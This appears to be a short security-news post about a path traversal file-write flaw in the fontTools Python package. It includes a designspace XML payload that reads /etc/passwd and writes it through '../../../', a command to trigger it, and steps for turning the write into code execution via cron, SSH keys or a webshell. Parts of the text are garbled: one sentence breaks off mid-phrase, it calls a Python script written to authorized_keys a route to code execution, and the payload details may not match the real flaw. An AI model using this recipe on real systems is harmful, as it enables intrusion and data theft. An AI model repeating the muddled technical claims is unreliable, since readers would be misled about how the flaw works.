Listen to this Post
The vulnerability exists within the `fontTools.varLib.main()` function, which processes XML-based .designspace files. When a malicious .designspace file is parsed, it can contain specially crafted `../../../) in the `dest` path to write arbitrary files to any location on the filesystem where the fontTools process has write permissions. By writing a malicious file, such as a Python script, to an executable or auto-loaded location (e.g., a user’s `.ssh/authorized_keys` or a web root), this arbitrary file write can be leveraged to achieve remote code execution when the written file is subsequently executed or processed by the system.
Platform: Python Package
Version: 4.33.0 – 4.60.1
Vulnerability: Arbitrary File Write
Severity: Critical
date: 2025-11-28
Prediction: 2025-12-05
What Undercode Say:
python3 -m fontTools.varLib malicious.designspace
<designspace> <axes/> <sources/> <instances/> <copy src="/etc/passwd" dest="../../../tmp/exploit.txt"/> </designspace>
cat /tmp/exploit.txt
How Exploit:
Craft .designspace file with <copy dest="../../../path/to/write">. Execute `fonttools varLib` on it. Achieve RCE via written file execution (e.g., cron, SSH key, webshell).
Protection from this CVE
Upgrade to fontTools>=4.60.2. Sanitize .designspace input. Run with minimal privileges. Use virtual environments.
Impact:
Remote Code Execution. System Compromise. Supply Chain Attack.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
